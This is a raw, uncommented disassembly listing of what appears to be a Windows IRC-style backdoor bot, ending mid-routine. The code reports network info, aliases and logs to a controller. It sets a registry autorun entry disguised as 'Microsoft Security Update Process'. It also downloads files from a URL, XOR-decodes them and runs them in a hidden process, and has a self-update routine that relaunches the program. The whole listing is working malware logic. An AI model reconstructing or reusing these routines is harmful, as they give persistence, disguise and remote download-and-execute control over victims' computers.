--------------------------------------------------------------------------- loc_408F6A: ; CODE XREF: sub_408EF7+5Cj push offset aLan ; "LAN" lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_408F7D: ; CODE XREF: sub_408EF7+71j jmp short loc_408FA2 ; --------------------------------------------------------------------------- loc_408F7F: ; CODE XREF: sub_408EF7+23j push offset off_4217DC ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx push offset off_4217E0 ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx loc_408FA2: ; CODE XREF: sub_408EF7:loc_408F7Dj push [ebp+arg_4] push [ebp+arg_8] call sub_40892F pop ecx push eax lea eax, [ebp+Dst] push eax lea eax, [ebp+Dest] push eax push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"... push 200h ; Count push [ebp+arg_0] ; Dest call __snprintf add esp, 1Ch mov eax, [ebp+arg_0] leave retn sub_408EF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408FD4 proc near ; CODE XREF: sub_408B0C:loc_408B12p ; sub_408B0C+1Cp push ebp mov ebp, esp push ebx push esi push edi rdtsc pop edi pop esi pop ebx pop ebp retn sub_408FD4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx and dword ptr [ebp-4], 0 jmp short loc_408FF2 ; --------------------------------------------------------------------------- loc_408FEB: ; CODE XREF: .text:loc_409093j mov eax, [ebp-4] inc eax mov [ebp-4], eax loc_408FF2: ; CODE XREF: .text:00408FE9j cmp dword ptr [ebp-4], 10h jge loc_409098 mov eax, [ebp-4] imul eax, 0B8h movsx eax, byte_42A7C0[eax] test eax, eax jz short loc_40902D push dword ptr [ebp+8] mov eax, [ebp-4] imul eax, 0B8h add eax, offset byte_42A7C0 push eax call _strcmp pop ecx pop ecx test eax, eax jnz short loc_409093 loc_40902D: ; CODE XREF: .text:0040900Ej push 0B8h push 0 mov eax, [ebp-4] imul eax, 0B8h add eax, offset byte_42A7C0 push eax call _memset add esp, 0Ch push 17h push dword ptr [ebp+8] mov eax, [ebp-4] imul eax, 0B8h add eax, offset byte_42A7C0 push eax call _strncpy add esp, 0Ch push 9Fh push dword ptr [ebp+0Ch] mov eax, [ebp-4] imul eax, 0B8h add eax, offset dword_42A7D8 push eax call _strncpy add esp, 0Ch mov eax, dword_421DF0 inc eax mov dword_421DF0, eax jmp short loc_409098 ; --------------------------------------------------------------------------- loc_409093: ; CODE XREF: .text:0040902Bj jmp loc_408FEB ; --------------------------------------------------------------------------- loc_409098: ; CODE XREF: .text:00408FF6j ; .text:00409091j mov eax, [ebp-4] leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40909D proc near ; CODE XREF: sub_40ABFE+1F23p Dest = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 204h push 0 push [ebp+arg_8] push offset aAliasList ; "-[Alias List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_40A08D add esp, 14h and [ebp+var_4], 0 jmp short loc_4090CB ; --------------------------------------------------------------------------- loc_4090C4: ; CODE XREF: sub_40909D:loc_409139j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4090CB: ; CODE XREF: sub_40909D+25j cmp [ebp+var_4], 10h jge short locret_40913B mov eax, [ebp+var_4] imul eax, 0B8h movsx eax, byte_42A7C0[eax] test eax, eax jz short loc_409139 mov eax, [ebp+var_4] imul eax, 0B8h add eax, offset dword_42A7D8 push eax mov eax, [ebp+var_4] imul eax, 0B8h add eax, offset byte_42A7C0 push eax push [ebp+var_4] push offset aD_SS ; "%d. %s = %s" push 200h ; Count lea eax, [ebp+Dest] push eax ; Dest call __snprintf add esp, 18h push 1 push [ebp+arg_8] lea eax, [ebp+Dest] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40A08D add esp, 14h loc_409139: ; CODE XREF: sub_40909D+46j jmp short loc_4090C4 ; --------------------------------------------------------------------------- locret_40913B: ; CODE XREF: sub_40909D+32j leave retn sub_40909D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40913D proc near ; CODE XREF: .text:00402C32p ; .text:00403A43p ... var_14 = dword ptr -14h SystemTime = _SYSTEMTIME ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+SystemTime] push eax ; lpSystemTime call ds:GetLocalTime ; GetLocalTime mov [ebp+var_14], 80h jmp short loc_40915D ; --------------------------------------------------------------------------- loc_409156: ; CODE XREF: sub_40913D:loc_409197j mov eax, [ebp+var_14] dec eax mov [ebp+var_14], eax loc_40915D: ; CODE XREF: sub_40913D+17j cmp [ebp+var_14], 0 jl short loc_409199 mov eax, [ebp+var_14] shl eax, 7 movsx eax, byte_4267A8[eax] test eax, eax jz short loc_409197 push 7Fh ; Count mov eax, [ebp+var_14] shl eax, 7 add eax, offset byte_4267A8 push eax ; Source mov eax, [ebp+var_14] inc eax shl eax, 7 add eax, offset byte_4267A8 push eax ; Dest call _strncpy add esp, 0Ch loc_409197: ; CODE XREF: sub_40913D+35j jmp short loc_409156 ; --------------------------------------------------------------------------- loc_409199: ; CODE XREF: sub_40913D+24j push [ebp+arg_0] movzx eax, [ebp+SystemTime.wSecond] push eax movzx eax, [ebp+SystemTime.wMinute] push eax movzx eax, [ebp+SystemTime.wHour] push eax movzx eax, [ebp+SystemTime.wYear] push eax movzx eax, [ebp+SystemTime.wDay] push eax movzx eax, [ebp+SystemTime.wMonth] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push 80h ; Count push offset byte_4267A8 ; Dest call __snprintf add esp, 28h leave retn sub_40913D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4091D3(char *Format, char) sub_4091D3 proc near ; CODE XREF: sub_40A776+14Ap ; sub_40ABFE+8FCp ... Args = dword ptr -84h Dest = byte ptr -80h Format = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 84h lea eax, [ebp+arg_4] mov [ebp+Args], eax push [ebp+Args] ; Args push [ebp+Format] ; Format push 80h ; Count lea eax, [ebp+Dest] push eax ; Dest call __vsnprintf add esp, 10h lea eax, [ebp+Dest] push eax call sub_40913D pop ecx leave retn sub_4091D3 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h mov dword ptr [ebp-4], 80h and dword ptr [ebp-8], 0 cmp dword ptr [ebp+14h], 0 jnz short loc_40923A push 0 push dword ptr [ebp+10h] push offset aLogs ; "-[Logs]-" push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40A08D add esp, 14h loc_40923A: ; CODE XREF: .text:00409220j cmp dword ptr [ebp+18h], 0 jz short loc_409258 push dword ptr [ebp+18h] call _atoi pop ecx mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz short loc_409258 mov eax, [ebp-8] mov [ebp-4], eax loc_409258: ; CODE XREF: .text:0040923Ej ; .text:00409250j and dword ptr [ebp-0Ch], 0 and dword ptr [ebp-10h], 0 jmp short loc_409270 ; --------------------------------------------------------------------------- loc_409262: ; CODE XREF: .text:loc_4092FCj mov eax, [ebp-0Ch] inc eax mov [ebp-0Ch], eax mov eax, [ebp-10h] inc eax mov [ebp-10h], eax loc_409270: ; CODE XREF: .text:00409260j cmp dword ptr [ebp-0Ch], 80h jge locret_409301 mov eax, [ebp-10h] cmp eax, [ebp-4] jge short locret_409301 mov eax, [ebp-0Ch] shl eax, 7 movsx eax, byte_4267A8[eax] test eax, eax jz short loc_4092FC cmp dword ptr [ebp+18h], 0 jz short loc_4092A2 cmp dword ptr [ebp-8], 0 jz short loc_4092C3 loc_4092A2: ; CODE XREF: .text:0040929Aj push 1 push dword ptr [ebp+10h] mov eax, [ebp-0Ch] shl eax, 7 add eax, offset byte_4267A8 push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40A08D add esp, 14h jmp short loc_4092FC ; --------------------------------------------------------------------------- loc_4092C3: ; CODE XREF: .text:004092A0j push dword ptr [ebp+18h] mov eax, [ebp-0Ch] shl eax, 7 add eax, offset byte_4267A8 push eax call sub_408200 pop ecx pop ecx test eax, eax jz short loc_4092FC push 1 push dword ptr [ebp+10h] mov eax, [ebp-0Ch] shl eax, 7 add eax, offset byte_4267A8 push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40A08D add esp, 14h loc_4092FC: ; CODE XREF: .text:00409294j ; .text:004092C1j ... jmp loc_409262 ; --------------------------------------------------------------------------- locret_409301: ; CODE XREF: .text:00409277j ; .text:00409283j leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409303 proc near ; CODE XREF: sub_40ABFE+210Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_409321 ; --------------------------------------------------------------------------- loc_40930D: ; CODE XREF: sub_409303+27j mov eax, [ebp+var_4] shl eax, 7 and byte_4267A8[eax], 0 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_409321: ; CODE XREF: sub_409303+8j cmp [ebp+var_4], 80h jge short loc_40932C jmp short loc_40930D ; --------------------------------------------------------------------------- loc_40932C: ; CODE XREF: sub_409303+25j cmp [ebp+arg_C], 0 jnz short loc_40934A push 0 push [ebp+arg_8] push offset dword_421870 push [ebp+arg_4] push [ebp+arg_0] call sub_40A08D add esp, 14h loc_40934A: ; CODE XREF: sub_409303+2Dj push offset dword_421898 call sub_40913D pop ecx leave retn sub_409303 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx and dword ptr [ebp-4], 0 jmp short loc_409368 ; --------------------------------------------------------------------------- loc_409361: ; CODE XREF: .text:loc_4093A1j mov eax, [ebp-4] inc eax mov [ebp-4], eax loc_409368: ; CODE XREF: .text:0040935Fj cmp dword ptr [ebp-4], 80h jge short loc_4093A3 mov eax, [ebp-4] shl eax, 7 movsx eax, byte_4267A8[eax] test eax, eax jz short loc_4093A1 push dword ptr [ebp+8] mov eax, [ebp-4] shl eax, 7 add eax, offset byte_4267A8 push eax call sub_408200 pop ecx pop ecx test eax, eax jz short loc_4093A1 push 1 pop eax jmp short locret_4093A5 ; --------------------------------------------------------------------------- loc_4093A1: ; CODE XREF: .text:00409380j ; .text:0040939Aj jmp short loc_409361 ; --------------------------------------------------------------------------- loc_4093A3: ; CODE XREF: .text:0040936Fj xor eax, eax locret_4093A5: ; CODE XREF: .text:0040939Fj leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame ; DWORD __stdcall sub_4093A7(LPVOID) sub_4093A7 proc near ; DATA XREF: sub_40ABFE+2058o Dest = byte ptr -328h var_128 = dword ptr -128h var_124 = byte ptr -124h Str = byte ptr -0A4h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 328h push esi push edi mov [ebp+var_4], 80h and [ebp+var_8], 0 mov esi, [ebp+arg_0] push 45h pop ecx lea edi, [ebp+var_128] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+var_C] mov dword ptr [eax+110h], 1 cmp [ebp+var_1C], 0 jnz short loc_409403 push 0 push [ebp+var_20] push offset dword_4218C0 lea eax, [ebp+var_124] push eax push [ebp+var_128] call sub_40A08D add esp, 14h loc_409403: ; CODE XREF: sub_4093A7+3Bj movsx eax, [ebp+Str] test eax, eax jz short loc_40942A lea eax, [ebp+Str] push eax ; Str call _atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40942A mov eax, [ebp+var_8] mov [ebp+var_4], eax loc_40942A: ; CODE XREF: sub_4093A7+65j ; sub_4093A7+7Bj and [ebp+var_10], 0 and [ebp+var_14], 0 jmp short loc_409442 ; --------------------------------------------------------------------------- loc_409434: ; CODE XREF: sub_4093A7:loc_4094E9j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_409442: ; CODE XREF: sub_4093A7+8Bj cmp [ebp+var_10], 80h jge loc_4094EE mov eax, [ebp+var_14] cmp eax, [ebp+var_4] jge loc_4094EE mov eax, [ebp+var_10] shl eax, 7 movsx eax, byte_4267A8[eax] test eax, eax jz short loc_4094E9 movsx eax, [ebp+Str] test eax, eax jz short loc_40947D cmp [ebp+var_8], 0 jz short loc_4094A5 loc_40947D: ; CODE XREF: sub_4093A7+CEj push 1 push [ebp+var_20] mov eax, [ebp+var_10] shl eax, 7 add eax, offset byte_4267A8 push eax lea eax, [ebp+var_124] push eax push [ebp+var_128] call sub_40A08D add esp, 14h jmp short loc_4094E9 ; --------------------------------------------------------------------------- loc_4094A5: ; CODE XREF: sub_4093A7+D4j lea eax, [ebp+Str] push eax ; int mov eax, [ebp+var_10] shl eax, 7 add eax, offset byte_4267A8 push eax ; Str call sub_408200 pop ecx pop ecx test eax, eax jz short loc_4094E9 push 1 push [ebp+var_20] mov eax, [ebp+var_10] shl eax, 7 add eax, offset byte_4267A8 push eax lea eax, [ebp+var_124] push eax push [ebp+var_128] call sub_40A08D add esp, 14h loc_4094E9: ; CODE XREF: sub_4093A7+C3j ; sub_4093A7+FCj ... jmp loc_409434 ; --------------------------------------------------------------------------- loc_4094EE: ; CODE XREF: sub_4093A7+A2j ; sub_4093A7+AEj push offset dword_4218E0 ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx cmp [ebp+var_1C], 0 jnz short loc_409528 push 0 push [ebp+var_20] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_124] push eax push [ebp+var_128] call sub_40A08D add esp, 14h loc_409528: ; CODE XREF: sub_4093A7+15Ej lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push [ebp+var_24] call sub_410709 pop ecx push 0 ; dwExitCode call ds:ExitThread ; ExitThread sub_4093A7 endp ; --------------------------------------------------------------------------- pop edi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40954C(char *Str) sub_40954C proc near ; CODE XREF: sub_408651+1Dp ; WinMain(x,x,x,x)+409p var_8 = dword ptr -8 var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 jmp short loc_40955E ; --------------------------------------------------------------------------- loc_409557: ; CODE XREF: sub_40954C+83j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40955E: ; CODE XREF: sub_40954C+9j cmp [ebp+var_8], 3 jnb short locret_4095D1 push 0 lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 mov eax, [ebp+var_8] push off_421914[eax*8] mov eax, [ebp+var_8] push dword_421910[eax*8] call dword_4263E4 ; RegCreateKeyExA cmp [ebp+Str], 0 jz short loc_4095B8 push [ebp+Str] ; Str call _strlen pop ecx push eax push [ebp+Str] push 1 push 0 push offset aMicrosoftSecur ; "Microsoft Security Update Process" push [ebp+var_4] call dword_426448 ; RegSetValueExA jmp short loc_4095C6 ; --------------------------------------------------------------------------- loc_4095B8: ; CODE XREF: sub_40954C+49j push offset aMicrosoftSecur ; "Microsoft Security Update Process" push [ebp+var_4] call dword_4263A8 ; RegDeleteValueA loc_4095C6: ; CODE XREF: sub_40954C+6Aj push [ebp+var_4] call dword_426404 ; RegCloseKey jmp short loc_409557 ; --------------------------------------------------------------------------- locret_4095D1: ; CODE XREF: sub_40954C+16j leave retn sub_40954C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame ; DWORD __stdcall sub_4095D3(LPVOID) sub_4095D3 proc near ; DATA XREF: sub_40ABFE+3C47o ; sub_40ABFE+4221o var_564 = qword ptr -564h var_558 = qword ptr -558h var_548 = qword ptr -548h var_540 = qword ptr -540h var_538 = qword ptr -538h var_530 = qword ptr -530h ProcessInformation= _PROCESS_INFORMATION ptr -528h StartupInfo = _STARTUPINFOA ptr -518h Size = dword ptr -4D4h var_4D0 = dword ptr -4D0h hObject = dword ptr -4CCh Memory = dword ptr -4C8h var_4C4 = dword ptr -4C4h Buffer = byte ptr -4C0h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h NumberOfBytesWritten= dword ptr -2B4h nNumberOfBytesToWrite= dword ptr -2B0h var_2AC = dword ptr -2ACh var_2A8 = byte ptr -2A8h var_228 = byte ptr -228h CommandLine = byte ptr -128h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 548h push esi push edi mov esi, [ebp+arg_0] mov ecx, 0AAh lea edi, [ebp+var_2AC] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_2C0], eax mov eax, [ebp+var_2C0] mov dword ptr [eax+2A4h], 1 push 0 push 0 push 0 push 0 lea eax, [ebp+var_228] push eax push dword_4263E0 call dword_42635C ; InternetOpenUrlA mov [ebp+var_2B8], eax cmp [ebp+var_2B8], 0 jz loc_409B7E push 0 ; hTemplateFile push 0 ; dwFlagsAndAttributes push 2 ; dwCreationDisposition push 0 ; lpSecurityAttributes push 0 ; dwShareMode push 40000000h ; dwDesiredAccess lea eax, [ebp+CommandLine] push eax ; lpFileName call ds:CreateFileA ; CreateFileA mov [ebp+hObject], eax cmp [ebp+hObject], 1 jnb short loc_4096C0 lea eax, [ebp+CommandLine] push eax push offset unk_421928 ; Format lea eax, [ebp+Buffer] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_10], 0 jnz short loc_4096A2 push 0 push [ebp+var_C] lea eax, [ebp+Buffer] push eax lea eax, [ebp+var_2A8] push eax push [ebp+var_2AC] call sub_40A08D add esp, 14h loc_4096A2: ; CODE XREF: sub_4095D3+ACj lea eax, [ebp+Buffer] push eax call sub_40913D pop ecx push [ebp+var_28] call sub_410709 pop ecx push 0 ; dwExitCode call ds:ExitThread ; ExitThread ; --------------------------------------------------------------------------- loc_4096C0: ; CODE XREF: sub_4095D3+8Bj and [ebp+var_2BC], 0 call ds:GetTickCount ; GetTickCount mov [ebp+var_4C4], eax push 7D000h ; Size call _malloc pop ecx mov [ebp+Memory], eax loc_4096E4: ; CODE XREF: sub_4095D3+269j push 200h ; Size push 0 ; Val lea eax, [ebp+Buffer] push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+nNumberOfBytesToWrite] push eax push 200h lea eax, [ebp+Buffer] push eax push [ebp+var_2B8] call dword_426364 ; InternetReadFile cmp [ebp+var_14], 0 jz short loc_409733 push [ebp+nNumberOfBytesToWrite] lea eax, [ebp+Buffer] push eax call sub_409BF2 pop ecx pop ecx loc_409733: ; CODE XREF: sub_4095D3+14Aj push 0 ; lpOverlapped lea eax, [ebp+NumberOfBytesWritten] push eax ; lpNumberOfBytesWritten push [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite lea eax, [ebp+Buffer] push eax ; lpBuffer push [ebp+hObject] ; hFile call ds:WriteFile ; WriteFile cmp [ebp+var_2BC], 7D000h jnb short loc_4097AE mov eax, 7D000h sub eax, [ebp+var_2BC] mov [ebp+Size], eax mov eax, [ebp+Size] cmp eax, [ebp+nNumberOfBytesToWrite] jbe short loc_40978C mov eax, [ebp+nNumberOfBytesToWrite] mov [ebp+Size], eax loc_40978C: ; CODE XREF: sub_4095D3+1ABj push [ebp+Size] ; Size lea eax, [ebp+Buffer] push eax ; Src mov eax, [ebp+Memory] add eax, [ebp+var_2BC] push eax ; Dst call _memcpy add esp, 0Ch loc_4097AE: ; CODE XREF: sub_4095D3+18Cj mov eax, [ebp+var_2BC] add eax, [ebp+nNumberOfBytesToWrite] mov [ebp+var_2BC], eax cmp [ebp+var_1C], 0 jz short loc_4097D3 mov eax, [ebp+var_2BC] cmp eax, [ebp+var_1C] jbe short loc_4097D3 jmp short loc_409842 ; --------------------------------------------------------------------------- loc_4097D3: ; CODE XREF: sub_4095D3+1F1j ; sub_4095D3+1FCj cmp [ebp+var_24], 1 jz short loc_409808 mov eax, [ebp+var_2BC] shr eax, 0Ah push eax lea eax, [ebp+var_228] push eax push offset unk_421960 ; Format mov eax, [ebp+var_28] imul eax, 234h add eax, offset byte_42B340 push eax ; Dest call _sprintf add esp, 10h jmp short loc_409835 ; --------------------------------------------------------------------------- loc_409808: ; CODE XREF: sub_4095D3+204j mov eax, [ebp+var_2BC] shr eax, 0Ah push eax lea eax, [ebp+var_228] push eax push offset unk_4219A8 ; Format mov eax, [ebp+var_28] imul eax, 234h add eax, offset byte_42B340 push eax ; Dest call _sprintf add esp, 10h loc_409835: ; CODE XREF: sub_4095D3+233j cmp [ebp+nNumberOfBytesToWrite], 0 ja loc_4096E4 loc_409842: ; CODE XREF: sub_4095D3+1FEj mov [ebp+var_4D0], 1 cmp [ebp+var_1C], 0 jz short loc_4098AF mov eax, [ebp+var_2BC] cmp eax, [ebp+var_1C] jz short loc_4098AF and [ebp+var_4D0], 0 push [ebp+var_1C] push [ebp+var_2BC] push offset unk_4219E8 ; Format lea eax, [ebp+Buffer] push eax ; Dest call _sprintf add esp, 10h push 0 push [ebp+var_C] lea eax, [ebp+Buffer] push eax lea eax, [ebp+var_2A8] push eax push [ebp+var_2AC] call sub_40A08D add esp, 14h lea eax, [ebp+Buffer] push eax call sub_40913D pop ecx loc_4098AF: ; CODE XREF: sub_4095D3+27Dj ; sub_4095D3+288j call ds:GetTickCount ; GetTickCount sub eax, [ebp+var_4C4] xor edx, edx mov ecx, 3E8h div ecx mov ecx, eax inc ecx mov eax, [ebp+var_2BC] xor edx, edx div ecx mov [ebp+var_4], eax push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle push [ebp+Memory] ; Memory call _free pop ecx cmp [ebp+var_4D0], 0 jnz short loc_4098FA jmp loc_409BEA ; --------------------------------------------------------------------------- loc_4098FA: ; CODE XREF: sub_4095D3+320j cmp [ebp+var_24], 1 jz loc_409A0C mov eax, [ebp+var_4] mov dword ptr [ebp+var_530], eax and dword ptr [ebp+var_530+4], 0 fild [ebp+var_530] fdiv ds:dbl_41C238 push ecx push ecx fstp [esp+558h+var_558] lea eax, [ebp+CommandLine] push eax mov eax, [ebp+var_2BC] mov dword ptr [ebp+var_538], eax and dword ptr [ebp+var_538+4], 0 fild [ebp+var_538] fdiv ds:dbl_41C238 push ecx push ecx fstp [esp+564h+var_564] push offset unk_421A2C ; Format lea eax, [ebp+Buffer] push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_10], 0 jnz short loc_40998B push 0 push [ebp+var_C] lea eax, [ebp+Buffer] push eax lea eax, [ebp+var_2A8] push eax push [ebp+var_2AC] call sub_40A08D add esp, 14h loc_40998B: ; CODE XREF: sub_4095D3+395j lea eax, [ebp+Buffer] push eax call sub_40913D pop ecx cmp [ebp+var_20], 1 jnz short loc_409A07 push 5 push 0 push 0 lea eax, [ebp+CommandLine] push eax push offset aOpen ; "open" push 0 call dword_4263B0 ; ShellExecuteA cmp [ebp+var_10], 0 jnz short loc_409A07 lea eax, [ebp+CommandLine] push eax push offset dword_421A7C ; Format lea eax, [ebp+Buffer] push eax ; Dest call _sprintf add esp, 0Ch push 0 push [ebp+var_C] lea eax, [ebp+Buffer] push eax lea eax, [ebp+var_2A8] push eax push [ebp+var_2AC] call sub_40A08D add esp, 14h lea eax, [ebp+Buffer] push eax call sub_40913D pop ecx loc_409A07: ; CODE XREF: sub_4095D3+3C9j ; sub_4095D3+3E9j jmp loc_409B7C ; --------------------------------------------------------------------------- loc_409A0C: ; CODE XREF: sub_4095D3+32Bj mov eax, [ebp+var_4] mov dword ptr [ebp+var_540], eax and dword ptr [ebp+var_540+4], 0 fild [ebp+var_540] fdiv ds:dbl_41C238 push ecx push ecx fstp [esp+558h+var_558] lea eax, [ebp+CommandLine] push eax mov eax, [ebp+var_2BC] mov dword ptr [ebp+var_548], eax and dword ptr [ebp+var_548+4], 0 fild [ebp+var_548] fdiv ds:dbl_41C238 push ecx push ecx fstp [esp+564h+var_564] push offset unk_421AA8 ; Format lea eax, [ebp+Buffer] push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_10], 0 jnz short loc_409A93 push 0 push [ebp+var_C] lea eax, [ebp+Buffer] push eax lea eax, [ebp+var_2A8] push eax push [ebp+var_2AC] call sub_40A08D add esp, 14h loc_409A93: ; CODE XREF: sub_4095D3+49Dj lea eax, [ebp+Buffer] push eax call sub_40913D pop ecx push 10h ; Size push 0 ; Val lea eax, [ebp+ProcessInformation] push eax ; Dst call _memset add esp, 0Ch push 44h ; Size push 0 ; Val lea eax, [ebp+StartupInfo] push eax ; Dst call _memset add esp, 0Ch mov [ebp+StartupInfo.lpTitle], offset dword_42A7B0 mov [ebp+StartupInfo.cb], 44h mov [ebp+StartupInfo.dwFlags], 1 and [ebp+StartupInfo.wShowWindow], 0 lea eax, [ebp+ProcessInformation] push eax ; lpProcessInformation lea eax, [ebp+StartupInfo] push eax ; lpStartupInfo push 0 ; lpCurrentDirectory push 0 ; lpEnvironment push 28h ; dwCreationFlags push 0 ; bInheritHandles push 0 ; lpThreadAttributes push 0 ; lpProcessAttributes lea eax, [ebp+CommandLine] push eax ; lpCommandLine push 0 ; lpApplicationName call ds:CreateProcessA ; CreateProcessA cmp eax, 1 jnz short loc_409B2D call dword_42639C ; WSACleanup call sub_408651 push 0 ; uExitCode call ds:ExitProcess ; ExitProcess ; --------------------------------------------------------------------------- loc_409B2D: ; CODE XREF: sub_4095D3+545j lea eax, [ebp+CommandLine] push eax push offset unk_421AF8 ; Format lea eax, [ebp+Buffer] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_10], 0 jnz short loc_409B6F push 0 push [ebp+var_C] lea eax, [ebp+Buffer] push eax lea eax, [ebp+var_2A8] push eax push [ebp+var_2AC] call sub_40A08D add esp, 14h loc_409B6F: ; CODE XREF: sub_4095D3+579j lea eax, [ebp+Buffer] push eax call sub_40913D pop ecx loc_409B7C: ; CODE XREF: sub_4095D3:loc_409A07j jmp short loc_409BCD ; --------------------------------------------------------------------------- loc_409B7E: ; CODE XREF: sub_4095D3+5Cj lea eax, [ebp+var_228] push eax push offset unk_421B40 ; Format lea eax, [ebp+Buffer] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_10], 0 jnz short loc_409BC0 push 0 push [ebp+var_C] lea eax, [ebp+Buffer] push eax lea eax, [ebp+var_2A8] push eax push [ebp+var_2AC] call sub_40A08D add esp, 14h loc_409BC0: ; CODE XREF: sub_4095D3+5CAj lea eax, [ebp+Buffer] push eax call sub_40913D pop ecx loc_409BCD: ; CODE XREF: sub_4095D3:loc_409B7Cj ; sub_4095D3:loc_409BEAj push [ebp+var_2B8] call dword_426454 ; InternetCloseHandle push [ebp+var_28] call sub_410709 pop ecx push 0 ; dwExitCode call ds:ExitThread ; ExitThread ; --------------------------------------------------------------------------- loc_409BEA: ; CODE XREF: sub_4095D3+322j jmp short loc_409BCD sub_4095D3 endp ; --------------------------------------------------------------------------- pop edi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409BF2 proc near ; CODE XREF: sub_4095D3+159p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_409C03 ; --------------------------------------------------------------------------- loc_409BFC: ; CODE XREF: sub_409BF2+2Fj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_409C03: ; CODE XREF: sub_409BF2+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jge short loc_409C23 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_421C44 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_409BFC ; --------------------------------------------------------------------------- loc_409C23: ; CODE XREF: sub_409BF2+17j mov eax, [ebp+arg_0] leave retn sub_409BF2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_409C28 proc near ; DATA XREF: WinMain(x,x,x,x)+28o var_268 = dword ptr -268h ProcessInformation= _PROCESS_INFORMATION ptr -25Ch CurrentDirectory= byte ptr -24Ch StartupInfo = _STARTUPINFOA ptr -148h CommandLine = byte ptr -104h arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_42B54C call dword_4264B8 ; closesocket call sub_41050C call dword_42639C ; WSACleanup call dword_42639C ; WSACleanup push 64h ; dwMilliseconds call ds:Sleep ; Sleep push 10h ; Size push 0 ; Val lea eax, [ebp+ProcessInformation] push eax ; Dst call _memset add esp, 0Ch push 44h ; Size push 0 ; Val lea eax, [ebp+StartupInfo] push eax ; Dst call _memset add esp, 0Ch mov [ebp+StartupInfo.lpTitle], offset dword_42A7BC mov [ebp+StartupInfo.cb], 44h mov [ebp+StartupInfo.dwFlags], 1 and [ebp+StartupInfo.wShowWindow], 0 push 104h ; uSize lea eax, [ebp+CurrentDirectory] push eax ; lpBuffer call ds:GetWindowsDirectoryA ; GetWindowsDirectoryA push 104h ; nSize lea eax, [ebp+CommandLine] push eax ; lpFilename push 0 ; hModule call ds:GetModuleFileNameA ; 